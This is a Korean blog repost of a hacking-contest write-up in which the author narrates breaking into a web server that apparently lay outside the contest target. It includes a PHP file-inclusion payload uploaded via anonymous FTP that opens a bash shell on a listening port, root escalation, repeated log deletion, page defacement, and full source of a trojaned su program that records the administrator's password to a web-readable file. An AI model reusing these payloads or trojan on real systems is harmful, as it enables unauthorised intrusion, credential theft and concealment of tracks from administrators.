Codegate 외 hacking 대회중에서.. Historymaker
소개글 Codegate 외 hacking 대회중 취약점일부내용
목차 1 4
2012.06.15 20:06 - - =========================================================================================== Thank you for your participation. The informations on the target server are shown below: IP Address of Target server : 210.183.179.112 Target html(to alter) : the firt page screen (index.html) An Individual (or team) who first in time changes the index.html file by writing his/her own Registration number, ID, Identification No, and email on it will be a winner. P.S: 음... 나중에제가했던작업을잊어버릴까봐이렇게남겨둡니다. 참고로, 아무렇게나막써서글의두서가없음. --; =========================================================================================== 먼저 210.183.179.112 번 Server가공개되었습니다. 공개형 smoothwall 프로그램이설치되어있더군요. 물론 port는 81번하나였습니다. 먼저 Server의정보를조회해본결과, mod_ssl 취약한버전을사용하고있더군요. SSL과 TLS 프로토콜의모듈사이에 remote buffer overflow 취약점은이미인터넷상에발표되었습니다. Report Title: "Apache mod_ssl 2.8.3/Apache-SSL Buffer Overflow Vulnerability" 입니다. 실제 source를분석해본결과다른 report에서증명하듯이취약점은존재하더군요. --- ssl_util_ssl.h: -------------------------------------------------------------------------- #define SSL_SESSION_MAX_DER 1024*10 --- ssl_scache_dbm.c: ------------------------------------------------------------------------ BOOL ssl_scache_dbm_store(server_rec *s, UCHAR *id, int idlen, time_t expiry, SSL_SESSION *sess) {... UCHAR ucadata[ssl_session_max_der]; 4
... ucp = ucadata; ndata = i2d_ssl_session(sess, &ucp); ------------------------------------------------------------------------------------------- --- 그러나 exploit하기에는몇가지난관이있었습니다. 그중가장치명적이었던것은취약점을이용하기위해먼저획득해야하는 Certificate Authority (Client, Server간의상호인증 ) 이필요하다는점이었습니다. 이것을획득하고나면 ssl 모듈의권한으로 remote command를수행할수는있습니다. 그러나이것은매우힘든일이였습니다. 문제의 smoothwall 역시, 여러가지 Apache 인증을거치는것은마찬가지였습니다. 이것을발견한 hacker들은매우다양한 brute-force를시도했고, 대상 Server는거의기어다니는듯? 했습니다. :-( 다른방법을찾기힘들다고생각하고있을찰나에 Webserver(http://www.woksdome.org) 가해킹당했습니다. 물론, Scanning도한번안해본 Server 였지만전매우궁금했고그쪽으로관심이쏠리기시작했습니다. 다음은 Scanning 당시정보입니다. IP Address : 128.134.7.245 Resolved : www.woksdome.org Operating System : Linux - RedHat 7.0 - Open Ports (11): 21 [ Ftp => File Transfer Protocol ] 220 BCA1OOPSRC2 FTP Server (ProFTPD Default Installation-WOW) [www.woksdome.org] *** Anonymous login OK *** 22 [ Ssh => Remote Login Protocol ] SSH-1.99-OpenSSH_2.3.0p1 *** OpenSSH 2.3 Channel Code Off-By-One remote bug OK *** 23 [ Telnet => Remote Login Protocol ] WOWLINUX Release 7.0 (AllLiEs) *** Telnetd remote buffer overflow OK *** 25 [ Smtp => Simple Mail Transfer Protocol ] 220 www.woksdome.org ESMTP Sendmail 8.11.0/8.11.0; Wed, 17 Apr 2002 21:23:37 +0900 *** Sendmail 8.11.0/8.11.0 - Multiple local bug *** 79 [ Finger ] 5
Login Name Tty Idle Login Time Office Office Phone Users (1): root Directory: /root Shell: /bin/bash On since Sat Apr 13 18:25 (KST) on tty1 4 days idle New mail received Wed Apr 17 21:01 2002 (KST) Unread since Tue Apr 16 23:15 2002 (KST) No Plan. root root tty1 4d Apr 13 18:25 *** Cfingerd util-c buffer overflow OK *** Description : The cfingerd package versions 1.4.3 and earlier is vulnerable to a buffer overflow in the util.c file Bugtraq ID/URL : http://xforce.iss.net/static/6744.php 80 [ Http => World Wide Web, HTTP ] HTTP/1.1 200 OK Date: Wed, 17 Apr 2002 12:23:37 GMT Server: Apache/1.3.22 (Unix) PHP/4.1.2 X-Powered-By: PHP/4.1.2 Connection: close Content-Type: text/html PHP module running (web server) Description : PHP is installed on this computer 111 [ SunRPC => SUN Remote Procedure Call ] portmapper, Ver : 2, Proto : TCP, Port : 111 portmapper, Ver : 2, Proto : UDP, Port : 111 nlockmgr, Ver : 1, Proto : UDP, Port : 1024 nlockmgr, Ver : 3, Proto : UDP, Port : 1024 status, Ver : 1, Proto : UDP, Port : 1025 status, Ver : 1, Proto : TCP, Port : 1024 *** Rpc.statd remote format string OK *** 113 [ identd => Authentication Service ] 0, 0 : X-VERSION : pidentd 3.0.10 for Linux 2.2.5-22smp (Jul 20 2000 15:09:20) *** Xinetd remote buffer overflow OK *** 513 [ Login => Remote login (a la telnet) ] 514 [ Shell => cmd ] 515 [ printer => Printer Spooler ] *** Lprnd remote format string OK *** 너무나도많은취약점이존재했습니다. 6
일반적으로 RedHat Default kit의 telnetd 는취약점을가지고있습니다. 저는 exploit 했습니다. 마침내 shell을얻고, Server 내부의매우복잡한파일들을보았습니다. ^^ LKM을설치할까하다말았습니다. 솔직히대회의도와멀어진것이분명하니... 더이상복잡하게하고싶지는않았습니다. 다음작업으로시스템상에존재하는저의모든 log를찾아지웠습니다. 이는단순히 Server의내부권한을획득하는것으로그쳤습니다. 그리고대역대에 IP 65번의 BSD Server와 IP 126번의 Router를발견할수있었습니다. 라우터패스워드는정말쉽더군요. "root" 일반적인추측으로도가능한듯했습니다. 65번의공격은보류하기로했습니다. 물론라우터의 enable pass도모르고있기때문에관리자쪽의 Server Password를얻는것이중요했습니다. 저는다시 Webserver를공격해봤습니다. 웹쪽을보니정말취약했습니다. --; board 디렉토리경로에는 index page 자체가없더군요. =========================================================================================== Parent Directory 16-Apr-2002 18:21 - admin.php 10-Apr-2002 23:44 2k admin_list.php 10-Apr-2002 23:44 16k admin_viewbody.php 10-Apr-2002 23:44 11k bdeleteform.php 10-Apr-2002 23:44 7k blist.php 10-Apr-2002 23:44 1k bmodifyform.php 10-Apr-2002 23:44 6k board.cfg 10-Apr-2002 23:44 1k board.php3 10-Apr-2002 23:44 1k board.sql 10-Apr-2002 23:44 1k board_css.css 10-Apr-2002 23:44 1k board_files/ 06-Apr-2002 19:45 - board_icon.zip/ 10-Apr-2002 07:33 - board_icon/ 09-Apr-2002 08:55 - boardadmin.sql 10-Apr-2002 23:44 1k bpostform.php 10-Apr-2002 23:44 3k breplyform.php 10-Apr-2002 23:44 5k bviewbody.php 10-Apr-2002 23:44 13k con_bbs.sql 10-Apr-2002 23:44 1k dbconn.php 10-Apr-2002 23:44 1k del_mul_proc.php 10-Apr-2002 23:44 1k delete.php 10-Apr-2002 23:44 3k deleteform.php 10-Apr-2002 23:44 7k edit.html 10-Apr-2002 23:44 31k editimg/ 06-Apr-2002 21:03-7
editor.html 10-Apr-2002 23:44 6k footer.inc 10-Apr-2002 23:44 1k get.php 10-Apr-2002 23:44 4k header.inc 10-Apr-2002 23:44 1k htmlact.php 10-Apr-2002 23:44 5k image/ 06-Apr-2002 21:03 - list.inc 10-Apr-2002 23:45 15k list.php 10-Apr-2002 23:45 7k list_admin.php 10-Apr-2002 23:45 1k menu_modify.php 10-Apr-2002 23:45 1k menu_modifyform.php 10-Apr-2002 23:45 24k modify.php 10-Apr-2002 23:45 3k modifyform.php 10-Apr-2002 23:45 7k modifyform_admin.php 10-Apr-2002 23:45 13k post.php 10-Apr-2002 23:45 4k post_admin.php 10-Apr-2002 23:45 4k postform.php 10-Apr-2002 23:45 7k postform_admin.php 10-Apr-2002 23:45 4k reply.php 10-Apr-2002 23:45 2k reply_admin.php 10-Apr-2002 23:45 7k replyform.php 10-Apr-2002 23:45 7k replyform_admin.php 10-Apr-2002 23:45 6k select.php 10-Apr-2002 23:45 5k sendmail.php 10-Apr-2002 23:45 11k up_image/ 10-Apr-2002 07:33 - url_autolink.inc 10-Apr-2002 23:45 2k user_function.inc 10-Apr-2002 23:45 4k view_list.php 10-Apr-2002 23:45 16k view_list_admin.php 10-Apr-2002 23:45 16k view_reply.php 10-Apr-2002 23:45 15k viewbody.php 10-Apr-2002 23:45 7k viewbody_admin.php 10-Apr-2002 23:45 14k =========================================================================================== 우선이중의몇개의파일을검사해봤습니다. 그리고금새취약점을찾아낼수있었습니다. 그것은 board 설정파일을참조하는것, 바로취약점이일어나더군요. 위에 board.cfg가보입니다. 저는한번실제 PATH 대로 cfg를읽어오는게가능한지확인해보았습니다. "?code=/usr/local/apache/htdocs/board/board" 이런... "?code=board" 와같은결과를출력해줍니다. 이로써공격의가능성이증명되었습니다. ftp에접속하였습니다. anonymous로파일업로드가가능한것은위의 Scan 결과를토대로알수있습니다. 8
그곳에제가만든임의의 cfg를업로드합니다. 내용은다음과같이단순했습니다.... system("echo \"#!/bin/sh\n/bin/bash -i\n\" >/tmp/test;chmod 711 /tmp/test"); system("/usr/sbin/in.telnetd -debug 60177 -L/tmp/test");?> 그리고이 cfg파일을읽어들였습니다. "?code=/var/ftp/code" 아주쉽게 Webserver의 60177번의포트가열렸습니다. 저는다시 Server에접속할수있었습니다. 그리고내부의 setuid 취약점으로 root 권한을얻었습니다. 마찬가지로관련 log를찾아지웠습니다. 이번에는장난끼가발동하여실제로관리자가어느정도까지관리하는지를살펴보았습니다. index.html에흰색폰트로다음과같이변경하였습니다. 참고로아래화면은대회첫날저녁부터마지막날오전까지그대로였습니다. woksdome1.jpg 관리자는전혀신경쓰지않은듯합니다. :-] 어쨌든저는관리자가사용중인 Password가필요하다고생각하였습니다. 그이유는관리중인 Server들간의 Password는거의비슷한것이나아니면같은것을사용하기때문이죠. 처음엔 shadow file를빼내서 crack을할까도생각해보았습니다. 하지만, 이것은정말엄청난시간을요구할것같았습니다. 그래서저는다른방법을생각해보았습니다. 우선다른사람의접속을막기위해? 다음과같이약간의 daemon을정리하고 permission을조정했습니다. - board/ board_en/ permission check && touch index.html - Anonymous login closed - Fingerd port closed - SunRpcd port closed - Lprnd port closed 그리고, 마지막날오전 10시까지기다렸습니다. 저는다음 source를실행하여잠시동안 su 프로그램을트로이목마로변경시켰습니다. --- su.c source ----------------------------------------------------------------------------- - #!/bin/sh # make fake SU file ;-) (printf "\r\nnull\r\n") /bin/su;mv /bin/su /bin/su.bak cat > /bin/su.c << EOF #include #include main (int argc,char *argv[]) { FILE *fp; char passwd[20]; 9
printf("password: "); system("stty -echo"); scanf("%s",passwd); sleep(2); printf("\nsu: incorrect password\n"); system("stty echo"); if((fp=fopen("//usr//local//apache//htdocs//pass","a"))==null) { exit(0); } fprintf(fp, "ID : %s\n",argv[1]); fprintf(fp, "PASSWD : %s\n", passwd); fclose(fp); system("/bin/fake"); } EOF # fake command :-D cat > /bin/fake.c << EOF main() { setuid(0); setgid(0); system("mv /bin/su.bak /bin/su;rm -rf /bin/fake"); } EOF # Last Setting mv /bin/su /bin/su.bak gcc -o /bin/su /bin/su.c && rm -rf /bin/su.c gcc -o /bin/fake /bin/fake.c && rm -rf /bin/fake.c chmod 4755 /bin/fake; chmod 4755 /bin/su # EOF ------------------------------------------------------------------------------------------- --- 문제는관리자가 su command를실행할수있도록하는것이였습니다. 먼저 login 되있던 "kdworks" 사용자를 kill 했습니다. 그리고, 다시 login 하기를기다렸습니다. 아무래도바로 login 하진않더군요. 그래서다른방법을생각해보았습니다. 먼저, 관리자가로그인하여 su command를실행할수있도록저는다음과같이 WOKSDOME Webserver의 page를잠시동안변경하였습니다. woksdome2.jpg chattr 읽기전용 mode를만들어두고 "/usr/local/apache/htdocs/pass" 파일이 10
생성될때까지기다렸습니다. 마침내제예상대로관리자는 5분도안되어로그인하였습니다. su command후패스워드를또박또박정확히넣으셨더군요. :-) ID : - PASSWD : xxxxxxxx 저는그파일을읽어들여관리자권한의 Password를얻었습니다. 그후바로 chattr을 unset한후얻은 Password를다른 Server의인증창에대입해보았습니다. 음... 그러나결과는 WOKSDOME WebServer의 Password는그 Webserver Password에국한된것이었습니다. 원래의목적대로 Router enable pass를얻는것은불가능했고또, 다른 Server의 Password 인증 ( 특히 112번 ) 을통과할수없었습니다. 물론 Server의 log는지속적으로정리하였습니다. :-D 참고로, 저는 112 번을공격하기위해? Webserver 의필요성을느꼈습니다. :-p 그다음내용부터는 Secret! -- By "you dong-hun" (Xpl017Elz), in INetCop(c). home? http://x82.i21c.net - :-p 11
Codegate 외 hacking 대회중에서.. 블로그 저자 History maker Historymaker http://blog.daum.net/hch73111 발행일 2012.06.15 20:11:07 저작권법에의해한국내에서보호를받는저작물이므로무단복제와전재를금합니다.